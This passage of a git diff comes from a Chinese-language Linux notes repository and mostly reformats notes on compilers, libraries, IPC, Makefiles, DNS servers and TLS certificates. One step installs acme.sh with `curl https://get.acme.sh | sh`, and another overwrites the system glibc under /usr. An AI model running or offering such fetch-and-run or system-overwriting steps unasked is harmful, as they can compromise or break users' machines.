join ▪ less ▪ more ▪ paste +▪ sed ▪ sort ▪ strings ▪ talk +▪ tac ▪ tail ▪ tr ▪ uniq +▪ vi ▪ wc ▪ xargs +Shell 程序 +▪ alias ▪ basename ▪ dirname ▪ echo +▪ expr ▪ false ▪ printf ▪ test +▪ true ▪ unset +网络 +▪ inetd ▪ netstat ▪ ping ▪ rlogin +▪ netcat ▪ traceroute +搜索 +▪ find ▪ grep ▪ locate ▪ whereis +▪ which +杂项 +▪ apropos ▪ banner ▪ bc ▪ cal +▪ clear ▪ date ▪ dd ▪ file +▪ help ▪ info ▪ size ▪ lp +▪ man ▪ history ▪ tee ▪ tput +▪ type ▪ yes ▪ uname ▪ whatis diff --git a/linux/linux-language/c&c++.md b/linux/linux-language/c&c++.md index 0d2aae5..056ab2c 100644 --- a/linux/linux-language/c&c++.md +++ b/linux/linux-language/c&c++.md @@ -1,6 +1,14 @@ +--- +created_date: 2020-11-20 +--- + +[TOC] + ## gcc + - gcc 是c&c++语言的编译器。 - 使用gcc编译的时候,只会默认链接一些基本的c语言标准库(例如libc.a或者libc.so),有很多的依赖库(例如非标准库、第三方库等)是需要工程师在使用gcc编译指令时,在指令后面加上要链接的库。 + ```bash path=./main.c gcc ${path} # 默认生成a.out可执行文件 @@ -13,9 +21,11 @@ gcc ${path} # 默认生成a.out可执行文件 ``` ## make + - 问题: 当依赖库很多时,gcc编译时需要手动链接的库就很多,不是一个很好的编译方式。 - 解决方案: make 指令根据 Makefile 文件中写的内容进行编译和链接,生成一个独立的可执行程序。解决使用gcc编译时手动添加的库的问题。 - make 指令执行的是增量编译。 + ```bash # 配置并且生成Makefile文件 ./configure @@ -37,52 +47,62 @@ make clean ``` ## cmake + - 问题: 当工程非常大的时候,手写Makefile也是一件麻烦的事,而且Makefile也不是万能的,换了一个别的平台,Makefile又得重写。 - 解决方案: cmake 是可以跨平台项目管理的工具,它根据 CMakeLists.txt 文件自动生成 Makefile 文件。 ## 函数库 + ### 概念 + - 编译 - 1. 静态编译:将函数库也编译进可执行文件里。 - 2. 动态编译:将函数库的指针编译进可执行的文件里。 + 1. 静态编译:将函数库也编译进可执行文件里。 + 2. 动态编译:将函数库的指针编译进可执行的文件里。 - 库 - 1. 动态库以 .so 为扩展名. - 2. 静态库以 .a 为扩展名。 + 1. 动态库以 .so 为扩展名. + 2. 静态库以 .a 为扩展名。 ### Linux可执行文件(ELF文件) + 1. ELF = Executable and Linkable Format 2. ELF文件组成 - 1. 程序头:描述段信息 - 2. Section头:链接与重定位需要的数据 - 3. 程序头与Section头需要的数据.text .data -1. 查看ELF文件的具体信息 `` readelf -a ${file} `` + 1. 程序头:描述段信息 + 2. Section头:链接与重定位需要的数据 + 3. 程序头与Section头需要的数据.text .data +3. 查看ELF文件的具体信息 `readelf -a ${file}` ### 动态库 + - 动态库加载的优先级 - 1. LD_PRELOAD - 2. LD_LIBRARY_PATH - 3. /etc/ld.so.cache - 4. /lib>/usr/lib + 1. LD_PRELOAD + 2. LD_LIBRARY_PATH + 3. /etc/ld.so.cache + 4. /lib>/usr/lib ### 相关文件与指令 + 1. /etc/ld.so.conf 文件记录编译时使用的动态链接库的搜索路径,默认情况下编译器只会使用/lib和/usr/lib两个目录下的库文件。 2. lib目录 - 1. /lib 包含目标文件(object files)与库。 - 2. /lib32 表示32位,32位的目标文件和库。 - 3. /lib64 表示32位,64位的目标文件和库。 - 4. libexec 包含不由用户和shell script直接执行的二进制文件。 - -3. `` /sbin/ldconfig `` 指令 - 1. 功能: 将/etc/ld.so.conf 中的函数库路径刷新到/etc/ld.so.cache中,及内存中。 - 2. 参数: -p 查看缓存里的所有函数库。 - -4. `` /bin/ldd `` 指令 - 1. 功能: 查看函数库所依赖的共享库文件。常用来解决程序因缺少某个库文件而不能运行的一些问题。 - 2. `` lld 文件名.so -v `` - 1. 第一列:程序需要依赖什么库 - 2. 第二列: 系统提供的与程序需要的库所对应的库 - 3. 第三列:库加载的开始地址 - -5. ```strings ``` - - 查看所有的glibc版本 ``` strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep GLIBC``` \ No newline at end of file + + 1. /lib 包含目标文件(object files)与库。 + 2. /lib32 表示32位,32位的目标文件和库。 + 3. /lib64 表示32位,64位的目标文件和库。 + 4. libexec 包含不由用户和shell script直接执行的二进制文件。 + +3. `/sbin/ldconfig` 指令 + + 1. 功能: 将/etc/ld.so.conf 中的函数库路径刷新到/etc/ld.so.cache中,及内存中。 + 2. 参数: -p 查看缓存里的所有函数库。 + +4. `/bin/ldd` 指令 + + 1. 功能: 查看函数库所依赖的共享库文件。常用来解决程序因缺少某个库文件而不能运行的一些问题。 + 2. `lld 文件名.so -v` + 1. 第一列:程序需要依赖什么库 + 2. 第二列: 系统提供的与程序需要的库所对应的库 + 3. 第三列:库加载的开始地址 + +5. `strings ` + + - 查看所有的glibc版本 ` strings /usr/lib/x86_64-linux-gnu/libstdc++.so.6 | grep GLIBC` diff --git a/linux/linux-language/c&c++_lib.md b/linux/linux-language/c&c++_lib.md index 76d5ee9..bbd3184 100644 --- a/linux/linux-language/c&c++_lib.md +++ b/linux/linux-language/c&c++_lib.md @@ -1,9 +1,13 @@ +--- +created_date: 2022-09-21 +--- [TOC] - 库 ### Ubuntu c++ 开发环境 + ```bash apt-get update @@ -18,68 +22,81 @@ apt install cmake ``` - 库 - - cmake https://github.com/Kitware/CMake/ + - cmake https://github.com/Kitware/CMake/ ### glibc + ```bash ll /lib/x86_64-linux-gnu/libc.so.6 ``` + #### 安装方式一 Ubuntu20 + - 基于 https://github.com/bminor/glibc - ```bash - git clone https://github.com/bminor/glibc && cd glibc - git checkout glibc-2.34 - mkdir build && cd build - ../configure --prefix=/usr --disable-profile --enable-add-ons --with-headers=/usr/include --with-binutils=/usr/bin - make - make install - ``` + ```bash + git clone https://github.com/bminor/glibc && cd glibc + git checkout glibc-2.34 + mkdir build && cd build + ../configure --prefix=/usr --disable-profile --enable-add-ons --with-headers=/usr/include --with-binutils=/usr/bin + make + make install + ``` 1. 问题一 - ```log - *** These auxiliary programs are missing or incompatible versions: makeinfo - *** some features will be disabled. - *** Check the INSTALL file for required versions. - checking LD_LIBRARY_PATH variable... contains current directory - configure: error: - *** LD_LIBRARY_PATH shouldn't contain the current directory when - *** building glibc. Please change the environment variable - *** and run configure again. - ``` - - 第一种方案 `` export LD_LIBRARY_PATH= `` - - 第二种方案 清空 LD_LIBRARY_PATH 目录下的文件 + + ```log + *** These auxiliary programs are missing or incompatible versions: makeinfo + *** some features will be disabled. + *** Check the INSTALL file for required versions. + checking LD_LIBRARY_PATH variable... contains current directory + configure: error: + *** LD_LIBRARY_PATH shouldn't contain the current directory when + *** building glibc. Please change the environment variable + *** and run configure again. + ``` + + - 第一种方案 `export LD_LIBRARY_PATH=` + - 第二种方案 清空 LD_LIBRARY_PATH 目录下的文件 2. 问题二 - ```log - configure: error: - *** These critical programs are missing or too old: bison - ``` - ```bash - apt-get install autopoint - git clone https://github.com/akimd/bison && cd bison - git checkout v3.8.2 - ... - ``` + + ```log + configure: error: + *** These critical programs are missing or too old: bison + ``` + + ```bash + apt-get install autopoint + git clone https://github.com/akimd/bison && cd bison + git checkout v3.8.2 + ... + ``` 3. 问题二 - ```log - /usr/include/linux/errno.h:1:10: fatal error: asm/errno.h: No such file or directory - 1 | #include - ``` - - 解决方案 ``ln -s /usr/include/asm-generic /usr/include/asm`` + + ```log + /usr/include/linux/errno.h:1:10: fatal error: asm/errno.h: No such file or directory + 1 | #include + ``` + + - 解决方案 `ln -s /usr/include/asm-generic /usr/include/asm` 4. 问题三 - ```log - fatal error: asm/prctl.h: No such file or directory - ``` + + ```log + fatal error: asm/prctl.h: No such file or directory + ``` 5. 问题四 - ```log - These auxiliary programs are missing or incompatible versions: msgfmt makeinfo - ``` + + ```log + These auxiliary programs are missing or incompatible versions: msgfmt makeinfo + ``` #### 安装方式二 Ubuntu20 + - 基于 https://github.com/matrix1001/glibc-all-in-one + ``` git clone https://github.com/matrix1001/glibc-all-in-one && cd glibc-all-in-one git checkout 2661a1d @@ -89,4 +106,4 @@ cat list ./extract ./deb/libc6_2.36-0ubuntu2_i386.deb /tmp/test ./extract ./deb/libc6-dbg_2.36-0ubuntu2_i386.deb /tmp/test_dbg ./build 2.36 i686 -``` \ No newline at end of file +``` diff --git a/linux/linux-language/communication.md b/linux/linux-language/communication.md index d3bff92..2441c47 100644 --- a/linux/linux-language/communication.md +++ b/linux/linux-language/communication.md @@ -1,22 +1,32 @@ +--- +created_date: 2020-11-27 +--- + +[TOC] + ### 本地进程间通信方式 + IPC(Inter Process Communication) + 1. 管道 2. 共享内存 3. 消息队列 4. Unix Domain Socket -文件锁 + 文件锁 ### UDS=unix domain socket -- 参考 -https://xiazemin.github.io/MyBlog/linux/2018/09/21/unix_socket.html -UDS传输不需要经过网络协议栈,不需要打包拆包等操作,只是数据的拷贝过程 -server.sock作为建立UDS连接的唯一标识符 -UDS连接建立完成之后在内存开辟一块空间,而server与client在这块内存空间中进行数据传输 +- 参考 + https://xiazemin.github.io/MyBlog/linux/2018/09/21/unix_socket.html + UDS传输不需要经过网络协议栈,不需要打包拆包等操作,只是数据的拷贝过程 + server.sock作为建立UDS连接的唯一标识符 + UDS连接建立完成之后在内存开辟一块空间,而server与client在这块内存空间中进行数据传输 ### 线程间同步 -进程的线程间的栈是独立的,堆是共享。 -1. 互斥锁,函数pthread_mutex_... -2. 读写锁,函数pthread_rwlock_... -3. 条件变量(不是锁,本质是维护了个等待队列),函数pthread_cond_... + +进程的线程间的栈是独立的,堆是共享。 + +1. 互斥锁,函数pthread_mutex\_... +2. 读写锁,函数pthread_rwlock\_... +3. 条件变量(不是锁,本质是维护了个等待队列),函数pthread_cond\_... 4. 信号量,函数sem_init(...,0, ...)// 注意那个参数0 diff --git a/linux/linux-language/makefile.md b/linux/linux-language/makefile.md index 7ab1e28..d634092 100644 --- a/linux/linux-language/makefile.md +++ b/linux/linux-language/makefile.md @@ -1,42 +1,61 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # makefile -- 参考文档 -https://blog.csdn.net/lms1008611/article/details/85200983 -https://blog.csdn.net/weixin_38391755/article/details/80380786 + +- 参考文档 + https://blog.csdn.net/lms1008611/article/details/85200983 + https://blog.csdn.net/weixin_38391755/article/details/80380786 ## 概念 + - 为什么使用makefile -从职责分工来说,Shell script是给系统管理员用的,Makefile是给软件配置管理员或者Release Engineer用的。 -解决项目间的依赖问题。 + 从职责分工来说,Shell script是给系统管理员用的,Makefile是给软件配置管理员或者Release Engineer用的。 + 解决项目间的依赖问题。 - 作用 -一个工程中的源文件不计其数,其按类型、功能、模块分别放在若干个目录中,makefile定义了一系列的规则来指定哪些文件需要先编译,哪些文件需要后编译,哪些文件需要重新编译,甚至于进行更复杂的功能操作 + 一个工程中的源文件不计其数,其按类型、功能、模块分别放在若干个目录中,makefile定义了一系列的规则来指定哪些文件需要先编译,哪些文件需要后编译,哪些文件需要重新编译,甚至于进行更复杂的功能操作 + +## 编译链接讲解 + +1. 编译时,编译器需要的是语法的正确,函数与变量的声明的正确。对于后者,通常是你需要告诉编译器头文件的所在位置(头文件中应该只是声明,而定义应该放在C/C++文件中),只要所有的语法正确,编译器就可以编译出中间目标文件。(O文件或是OBJ文件) +2. 链接时,主要是链接函数和全局变量。 (.lib 或者 .a文件) +3. 可执行文件 -## 编译链接讲解 - 1. 编译时,编译器需要的是语法的正确,函数与变量的声明的正确。对于后者,通常是你需要告诉编译器头文件的所在位置(头文件中应该只是声明,而定义应该放在C/C++文件中),只要所有的语法正确,编译器就可以编译出中间目标文件。(O文件或是OBJ文件) - 2. 链接时,主要是链接函数和全局变量。 (.lib 或者 .a文件) - 3. 可执行文件 ## 指令 -make --C 进入某个目录下执行make + +make +-C 进入某个目录下执行make -f 指定makefile的名字 -## 语法 +## 语法 + ### 特有语法 + 1. shell - 1. 每次执行一次shell指令起一个bash环境。 - 2. 如果shell指令相互之间没有使用';' 或 ';\'连接起来,则不共享一个bash环境。 + + 1. 每次执行一次shell指令起一个bash环境。 + 2. 如果shell指令相互之间没有使用';' 或 ';'连接起来,则不共享一个bash环境。 2. 变量的赋值 - 1. = 是最基本的赋值 - 2. := 是覆盖之前的值 - 3. ?= 是如果没有被赋值过就赋予等号后面的值 - 4. += 是添加等号后面的值 + + 1. = 是最基本的赋值 + 2. := 是覆盖之前的值 + 3. ?= 是如果没有被赋值过就赋予等号后面的值 + 4. += 是添加等号后面的值 3. 变量值的传递 - 1. $var:将Makefile中的变量var的值,传给shell指令。 - 2. $$var:访问shell指令中定义的变量var。 + + 1. $var:将Makefile中的变量var的值,传给shell指令。 + 2. $$var:访问shell指令中定义的变量var。 + ### 实践学习 + 1. 自定义函数 define关键开头,并以endef关键字结束. + ```makefile define fun1 指令 @@ -44,16 +63,19 @@ endef ``` 2. 目标 依赖 伪目标 -目标和依赖默认是文件 -默认只执行第一个目标 + 目标和依赖默认是文件 + 默认只执行第一个目标 + ```makefile .PHONY: 目标 # 定义目标是伪造的:无论目标是何种情况都执行命指令 目标 : 依赖 # 依赖文件更新时间早于目标文件更新时间则执行指令 指令 ``` + make Makefile 目标1 目标2 ... 3. 自定义函数使用预定义函数call调用,后边跟自定义函数名及参数 + ```makefile .PHONY : test define fun1 @@ -67,7 +89,9 @@ test: # 定义了一个伪目标test $(call fun1) $(call fun2, hello Makefile) ``` + 4. 变量/内置变量 + ```makefile var := $(abspath ./) test2 : @@ -78,22 +102,28 @@ test2 : ``` 5. 文件搜索 + ```makefile vpath < pattern> < directories> 为符合模式< pattern>的文件指定搜索目录。 vpath < pattern> 清除符合模式< pattern>的文件的搜索目录。 vpath 清除所有已被设置好了的文件搜索目录。 ``` + 6. 忽略命令的出错 + - make会检测每个命令的返回码,如果命令返回成功,那么make会执行下一条命令 - 在Makefile的命令行前加一个减号“-” + ```makefile clean: -mkdir foldername ``` 6. 嵌套执行make + - 例如有一个子目录叫subdir,这个目录下有个Makefile文件 -总控的Makefile可以这样书写 + 总控的Makefile可以这样书写 + ```makefile subsystem: cd subdir && $(MAKE) @@ -102,8 +132,10 @@ vpath 清除所有已被设置好了的文件搜索 subsystem: $(MAKE) -C subdir ``` + - 传递变量到下级Makefile中,使用这样的声明: + ```makefile export export # 表示传递所有的变量 -``` \ No newline at end of file +``` diff --git a/linux/network/TCP/TCP-connection.md b/linux/network/TCP/TCP-connection.md index c20eddc..fb567cc 100644 --- a/linux/network/TCP/TCP-connection.md +++ b/linux/network/TCP/TCP-connection.md @@ -1,3 +1,9 @@ +--- +created_date: 2021-08-27 +--- + +[TOC] + https://blog.csdn.net/hkhl_235/article/details/79721645 tcp连接建立: LISTEN:侦听来自远方的TCP端口的连接请求 diff --git a/linux/network/dns/dnsmasq.md b/linux/network/dns/dnsmasq.md index d490ee0..685f73f 100644 --- a/linux/network/dns/dnsmasq.md +++ b/linux/network/dns/dnsmasq.md @@ -1,23 +1,31 @@ +--- +created_date: 2021-07-01 +--- +[TOC] - 参考 - - https://cokebar.github.io/gfwlist2dnsmasq/dnsmasq_gfwlist.conf 被墙的域名文件 - - https://cokebar.github.io/gfwlist2dnsmasq/dnsmasq_gfwlist_ipset.conf 被墙的域名文件 + + - https://cokebar.github.io/gfwlist2dnsmasq/dnsmasq_gfwlist.conf 被墙的域名文件 + - https://cokebar.github.io/gfwlist2dnsmasq/dnsmasq_gfwlist_ipset.conf 被墙的域名文件 - dnsmasq DNS解析过程 - 1. 寻找本地hosts文件 - 2. 寻找本地缓存的域名 - 3. 寻找dnsmasq上的 addn-hosts 配置 - 4. 寻找dnsmasq上的 server 和 address 配置 - 4. 寻找上游dns服务器(resolv-file) + + 1. 寻找本地hosts文件 + 2. 寻找本地缓存的域名 + 3. 寻找dnsmasq上的 addn-hosts 配置 + 4. 寻找dnsmasq上的 server 和 address 配置 + 5. 寻找上游dns服务器(resolv-file) ## 安装配置 + ```bash yum install -y dnsmasq systemctl start dnsmasq.service ``` - /etc/dnsmasq.conf + ```conf # strict-order 表示严格按照resolv-file文件中的顺序从上到下进行DNS解析,直到第一个解析成功为止。 # listen-address=0.0.0.0,127.0.0.0 定义dnsmasq监听的地址,默认是监控本机的所有网卡上。 @@ -44,4 +52,3 @@ ipset=/google.com/ipset_name1,ipset_name2 # 检查配置文件语法是否正确 dnsmasq --test ``` - diff --git a/linux/network/dns/install-bind-unfinished.md b/linux/network/dns/install-bind-unfinished.md index 5e943e7..d2042d8 100644 --- a/linux/network/dns/install-bind-unfinished.md +++ b/linux/network/dns/install-bind-unfinished.md @@ -1,75 +1,70 @@ +--- +created_date: 2021-07-01 +--- + +[TOC] + 参考文档: https://qizhanming.com/blog/2017/05/27/how-to-configure-bind-as-a-private-network-dns-server-on-centos-7 http://www.178linux.com/83491 源码: https://github.com/isc-projects/bind9 + ### 安装bind + 1. 源码安装 -cd bind源码所在的目录 -./configure –prefix=/opt/bind –without-openssl -#make && make install + cd bind源码所在的目录 + ./configure –prefix=/opt/bind –without-openssl + #make && make install 2. yum源安装 -yum update -yum install bind bind-utils + yum update + yum install bind bind-utils + ### 配置主DNS + #### 配置1 + 假设有如下4台机器: 172.16.212.127 作为dns1 172.16.212.128 作为dns2 172.16.212.129 作为与域名相映射的主机host1 172.16.212.130 作为与域名相映射的主机host2 + 1. 配置哪些计算机可以使用我们这个域名服务进行递归域名查询。 - - 在 options 块前面,创建一个 ACL(Access Control List) 块,名称为 “trusted”; - - 修改 options 模块的 allow-query 从 localhost 改为 trusted。 + + - 在 options 块前面,创建一个 ACL(Access Control List) 块,名称为 “trusted”; + - 修改 options 模块的 allow-query 从 localhost 改为 trusted。 2. 配置从DNS服务器 - - 修改option块;添加 allow-transfer 条目,设置为 dns2 的地址, + + - 修改option块;添加 allow-transfer 条目,设置为 dns2 的地址, 3. 在文件的最后,添加这一行 include "/etc/named/named.conf.local"; -vim /etc/named.conf ---- -acl "trusted" { - 172.16.212.127; # dns1 - can be set to localhost - 172.16.212.128; # dns2 - 172.16.212.129; # host1 - 172.16.212.130; # host2 -}; -options { - listen-on port 53 { 127.0.0.1; 10.11.0.199; }; - # listen-on-v6 port 53 { ::1; }; - #allow-query { localhost; }; - allow-query { trusted; }; - allow-transfer { 172.16.212.128; }; -... -include "/etc/named/named.conf.local" ---- +## vim /etc/named.conf + +## acl "trusted" { 172.16.212.127; # dns1 - can be set to localhost 172.16.212.128; # dns2 172.16.212.129; # host1 172.16.212.130; # host2 }; options { listen-on port 53 { 127.0.0.1; 10.11.0.199; }; # listen-on-v6 port 53 { ::1; }; #allow-query { localhost; }; allow-query { trusted; }; allow-transfer { 172.16.212.128; }; ... include "/etc/named/named.conf.local" + #### 配置2 -配置DNS,指定正向域反向域文件位置 -vim /etc/named/named.conf.local ---- -zone "bj1.example.com" { - type master; - file "/etc/named/zones/db.bj1.example.com"; # zone file path -}; -zone "212.16.172.in-addr.arpa" { - type master; - file "/etc/named/zones/db.172.16.212"; # 172.16.212.0/24 subnet -}; ---- + +## 配置DNS,指定正向域反向域文件位置 vim /etc/named/named.conf.local + +## zone "bj1.example.com" { type master; file "/etc/named/zones/db.bj1.example.com"; # zone file path }; zone "212.16.172.in-addr.arpa" { type master; file "/etc/named/zones/db.172.16.212"; # 172.16.212.0/24 subnet }; #### 配置3 + chmod 755 /etc/named mkdir /etc/named/zones 1. 创建正向域文件 -vim /etc/named/zones/db.bj1.example.com + vim /etc/named/zones/db.bj1.example.com 2. 创建反向域文件 -vim /etc/named/zones/db.172.16.212 + vim /etc/named/zones/db.172.16.212 #### 检查 bind 配置 -使用 named-checkconf 命令检查 named.conf* 文件 + +使用 named-checkconf 命令检查 named.conf\* 文件 named-checkzone 命令检查域文件语法是否错误 named-checkzone bj1.example.com /etc/named/zones/db.bj1.example.com @@ -79,16 +74,15 @@ named-checkzone 212.16.172.in-addr.arpa /etc/named/zones/db.172.16.212 ### 配置从DNS -和主DNS的区别是在 ”配置DNS,指定正向域反向域文件位置“的文件里多了两行type slave; -vim /etc/named/named.conf.local ---- +## 和主DNS的区别是在 ”配置DNS,指定正向域反向域文件位置“的文件里多了两行type slave; vim /etc/named/named.conf.local + zone "bj1.example.com" { - type slave; - type master; - file "/etc/named/zones/db.bj1.example.com"; # zone file path +type slave; +type master; +file "/etc/named/zones/db.bj1.example.com"; # zone file path }; zone "212.16.172.in-addr.arpa" { - type slave; - type master; - file "/etc/named/zones/db.172.16.212"; # 172.16.212.0/24 subnet -}; \ No newline at end of file +type slave; +type master; +file "/etc/named/zones/db.172.16.212"; # 172.16.212.0/24 subnet +}; diff --git a/linux/network/https/https-free.md b/linux/network/https/https-free.md index cd7761d..69df0e1 100644 --- a/linux/network/https/https-free.md +++ b/linux/network/https/https-free.md @@ -1,46 +1,62 @@ +--- +created_date: 2021-07-01 +--- + +[TOC] - 参考 - 1. https://zhuanlan.zhihu.com/p/80909555 - 2. https://freessl.cn/ - 3. https://blog.csdn.net/ithomer/article/details/78075006 + 1. https://zhuanlan.zhihu.com/p/80909555 + 2. https://freessl.cn/ + 3. https://blog.csdn.net/ithomer/article/details/78075006 +## letsencrypt.org 获取免费证书 -## letsencrypt.org 获取免费证书 ### certbot + ```sh domain=baidu.com certbot certonly --webroot -w /etc/nginx/html -d www.${domain} -d ${domain} ``` + ### certbot-auto 官方已不再受支持 + 1. 申请获取证书 - - ./certbot-auto certonly -d "*.domain.com" --manual --preferred-challenges dns-01 --server https://acme-v02.api.letsencrypt.org/directory --no-bootstrap - - 生成的文件 - - cert.pem 使用 - - chain.pem - - fullchain.pem - - privkey.pem 使用 -2. 同一个域名每分钟最多能请求5次 + - ./certbot-auto certonly -d "\*.domain.com" --manual --preferred-challenges dns-01 --server https://acme-v02.api.letsencrypt.org/directory --no-bootstrap + - 生成的文件 + - cert.pem 使用 + - chain.pem + - fullchain.pem + - privkey.pem 使用 +2. 同一个域名每分钟最多能请求5次 ## acme 自动获取更新证书 -### 安装acme -curl https://get.acme.sh | sh + +### 安装acme + +curl https://get.acme.sh | sh 或者 https://github.com/acmesh-official/get.acme.sh ### 申请证书 + - 参考 https://github.com/acmesh-official/acme.sh + 1. http 方式 + ```conf # nginx的域名必须是完全匹配模式 server_name test2.garys.top ``` + ```bash # ./acme.sh --issue -d test2.garys.top --webroot /etc/nginx/html ./acme.sh --issue -d test2.garys.top --nginx ``` + 2. dns方式 失败 + ```bash # https://github.com/acmesh-official/acme.sh/wiki/dns-manual-mode ./acme.sh --issue -d test.garys.top --dns --yes-I-know-dns-manual-mode-enough-go-ahead-please @@ -53,6 +69,7 @@ dig -t txt _acme-challenge.test.garys.top @8.8.8.8 3. DNS API 方式 ### 安装证书 + ```bash ./acme.sh --installcert -d test2.garys.top \ --key-file /etc/nginx/ssl/test2.garys.top.key \ @@ -61,6 +78,7 @@ dig -t txt _acme-challenge.test.garys.top @8.8.8.8 ``` ### nginx 配置 + ```conf server { listen 80 default_server; @@ -73,12 +91,14 @@ server { ``` ### 证书自动更新脚本 + ```bash 0 0 1 * * /root/.acme.sh/acme.sh --cron --home "/root/.acme.sh" --force 0 1 1 * * ${ssl_folder}=/opt/nginx && /root/.acme.sh/acme.sh --installcert -d garys.top --key-file ${ssl_folder}/garys.top.key --fullchain-file ${ssl_folder}/garys.top.cer --reloadcmd "nginx -s reload" ``` ### acme自身升级 + ```bash # 升级 acme.sh 到最新版 acme.sh --upgrade @@ -91,19 +111,23 @@ acme.sh --upgrade --auto-upgrade 0 ``` ## kong-plugin-acme + - 参考 - 1. https://github.com/Kong/kong-plugin-acme - 2. https://docs.konghq.com/hub/kong-inc/acme/0.2.2.html#parameters + 1. https://github.com/Kong/kong-plugin-acme + 2. https://docs.konghq.com/hub/kong-inc/acme/0.2.2.html#parameters ### 使用 + 1. 问题 - 1. 报错 {"message":"failed to update certificate: acme directory request failed: 20: unable to get local issuer certificate"} - 2. 原因 Kong缺少配置 lua_ssl_trusted_certificate - 3. 解决措施 - - KONG_LUA_SSL_TRUSTED_CERTIFICATE=/etc/ssl/certs/ca-certificates.crt (ubuntu系列容器) - - KONG_LUA_SSL_TRUSTED_CERTIFICATE=/etc/ssl/certs/ca-bundle.crt (centos系列容器) + + 1. 报错 {"message":"failed to update certificate: acme directory request failed: 20: unable to get local issuer certificate"} + 2. 原因 Kong缺少配置 lua_ssl_trusted_certificate + 3. 解决措施 + - KONG_LUA_SSL_TRUSTED_CERTIFICATE=/etc/ssl/certs/ca-certificates.crt (ubuntu系列容器) + - KONG_LUA_SSL_TRUSTED_CERTIFICATE=/etc/ssl/certs/ca-bundle.crt (centos系列容器) 2. 创建证书 + ```bash # 1 增加acme插件 email= @@ -134,6 +158,7 @@ curl http://localhost:8001/acme -d host=${domain1} ``` ### 检测脚本 + ```bash data=`curl http://localhost:8001/certificates -s` @@ -163,16 +188,19 @@ done ``` ### 深入 -1. -kong-plugin-acme如果选择了kong作为存储,则自动更新域名证书的信息会被存放在kong的acme_storage表中。 -如果acme_storage表的信息被更改或者删除,则自动更新域名证书的机制可能会失效。 -则只能手动检测触发更新 curl http://localhost:8001/acme -XPATCH -或者删除插件再重新创建。 + +1. + +kong-plugin-acme如果选择了kong作为存储,则自动更新域名证书的信息会被存放在kong的acme_storage表中。\ +如果acme_storage表的信息被更改或者删除,则自动更新域名证书的机制可能会失效。\ +则只能手动检测触发更新 curl http://localhost:8001/acme -XPATCH\ +或者删除插件再重新创建。 ## 检测 -1. 检测SSL证书过期时间 -echo '' | openssl s_client -servername www.baidu.com -connect www.baidu.com:443 2>/dev/null \ - | openssl x509 -noout -dates 2> /dev/null |grep notAfter |awk -F '=' '{print $2}' -2. 检测域名过期时间 -whois baidu.com | grep 'Registry Expiry Date: '|awk '{print $NF}' |awk -F 'T' '{print $1}' \ No newline at end of file +1. 检测SSL证书过期时间\ + echo '' | openssl s_client -servername www.baidu.com -connect www.baidu.com:443 2>/dev/null \ + | openssl x509 -noout -dates 2> /dev/null |grep notAfter |awk -F '=' '{print $2}' + +2. 检测域名过期时间\ + whois baidu.com | grep 'Registry Expiry Date: '|awk '{print $NF}' |awk -F 'T' '{print $1}' diff --git a/linux/network/https/https-ssl.md b/linux/network/https/https-ssl.md index ff5ce07..7554f44 100644 --- a/linux/network/https/https-ssl.md +++ b/linux/network/https/https-ssl.md @@ -1,10 +1,19 @@ +--- +created_date: 2021-07-01 +--- + +[TOC] + # 链接 + 1. https://maokun.blog.csdn.net/article/details/80631369?fromshare=blogdetail&sharetype=blogdetail&sharerId=80631369&sharerefer=PC&sharesource=IMPlove&sharefrom=from_link 2. https://www.cnblogs.com/lixianguo/p/12522557.html 3. https://www.cnblogs.com/yelao/p/9486882.html # SSL 和 TLS 协议 + ## 概念 + 1. 消息认证: SSL 2.0 使用较弱的 MAC 构造,而 SSL 3.0 及以上版本和 TLS 都使用 HMAC(基于密钥的哈希消息认证码)。 2. 证书要求:两者都需要证书。两者在服务器身份验证中都依赖证书,客户端可选择信任. 3. 关系:TLS 证书是一种新的协议,这种协议是建立在 SSL3.0 协议规范之上,是 SSL3.0 的后续版本。 @@ -46,15 +55,18 @@ sequenceDiagram ``` ### 认证方式差异 + | 认证类型 | 客户端验证 | 服务器验证 | 典型应用场景 | |---------|-----------|-----------|-------------| -| 单向认证 | 不需要 | 必须 | 普通HTTPS | -| 双向认证 | 必须 | 必须 | 金融系统/企业VPN | +| 单向认证 | 不需要 | 必须 | 普通HTTPS | +| 双向认证 | 必须 | 必须 | 金融系统/企业VPN | # 自签名证书的生成与使用 ## 术语 + - 后缀 + 1. .key格式文件:私有的密钥。 2. .csr格式文件:证书签名请求(证书请求文件),含有公钥信息。certificate signing request的缩写。 3. .crt格式文件:证书文件。certificate的缩写。 @@ -64,6 +76,7 @@ sequenceDiagram - Subject Alternative Name(简称 SAN)是 SSL/TLS 证书中的一个扩展字段,用来指定证书支持的多个域名或 IP 地址。它是现代 HTTPS 证书中的一个关键组成部分,比老式的 Common Name (CN) 更灵活、更安全。 ## 生成自签名证书 + ```bash #!/bin/bash # function: 创建 nginx https ,双向认证证书 @@ -143,6 +156,7 @@ openssl pkcs12 -in $domain.client.p12 -out all.pem -nodes ``` ## 生成自签名证书/简单版 + ```sh # 1. 创建 OpenSSL SAN 配置文件 cat > san.cnf < 明文 + - 密文 > 明文 - 加解密速度慢 -3. **混合加密(实际 HTTPS 使用方式)** +3. **混合加密(实际 HTTPS 使用方式)** + - 步骤: 1. 客户端通过服务端的公钥,加密生成一个临时对称密钥 2. 用该密钥进行后续通信加密(对称加密) - 优点:结合非对称加密的安全性 + 对称加密的效率 - 仍存在风险:**第一次公钥传输可能被中间人截获并替换** - ### 公钥被中间人篡改解决方案 -#### ➤ 方案一:浏览器预存所有服务端的公钥 + +#### ➤ 方案一:浏览器预存所有服务端的公钥 + - 不现实。因为全球服务器太多,浏览器无法维护所有公钥列表。 -#### ➤ 方案二:引入**权威机构(CA)颁发证书**(HTTPS 标准做法) -1. 服务端向可信 CA(如 DigiCert、Let's Encrypt)申请证书 -2. CA 使用私钥对服务器信息和公钥进行签名,生成证书 -3. 浏览器内置多个 CA 的**公钥** +#### ➤ 方案二:引入**权威机构(CA)颁发证书**(HTTPS 标准做法) + +1. 服务端向可信 CA(如 DigiCert、Let's Encrypt)申请证书 +2. CA 使用私钥对服务器信息和公钥进行签名,生成证书 +3. 浏览器内置多个 CA 的**公钥** 4. 校验证书流程如下: - 浏览器用 CA 的公钥解密证书签名 - 使用相同算法对证书内容做哈希 @@ -218,11 +240,11 @@ curl -k --key ./all.pem https://$domain ### 自签名证书 vs 权威机构证书(CA) -| 对比项 | 自签名证书(Self-Signed) | CA 颁发证书(Authority Issued) | +| 对比项 | 自签名证书(Self-Signed) | CA 颁发证书(Authority Issued) | 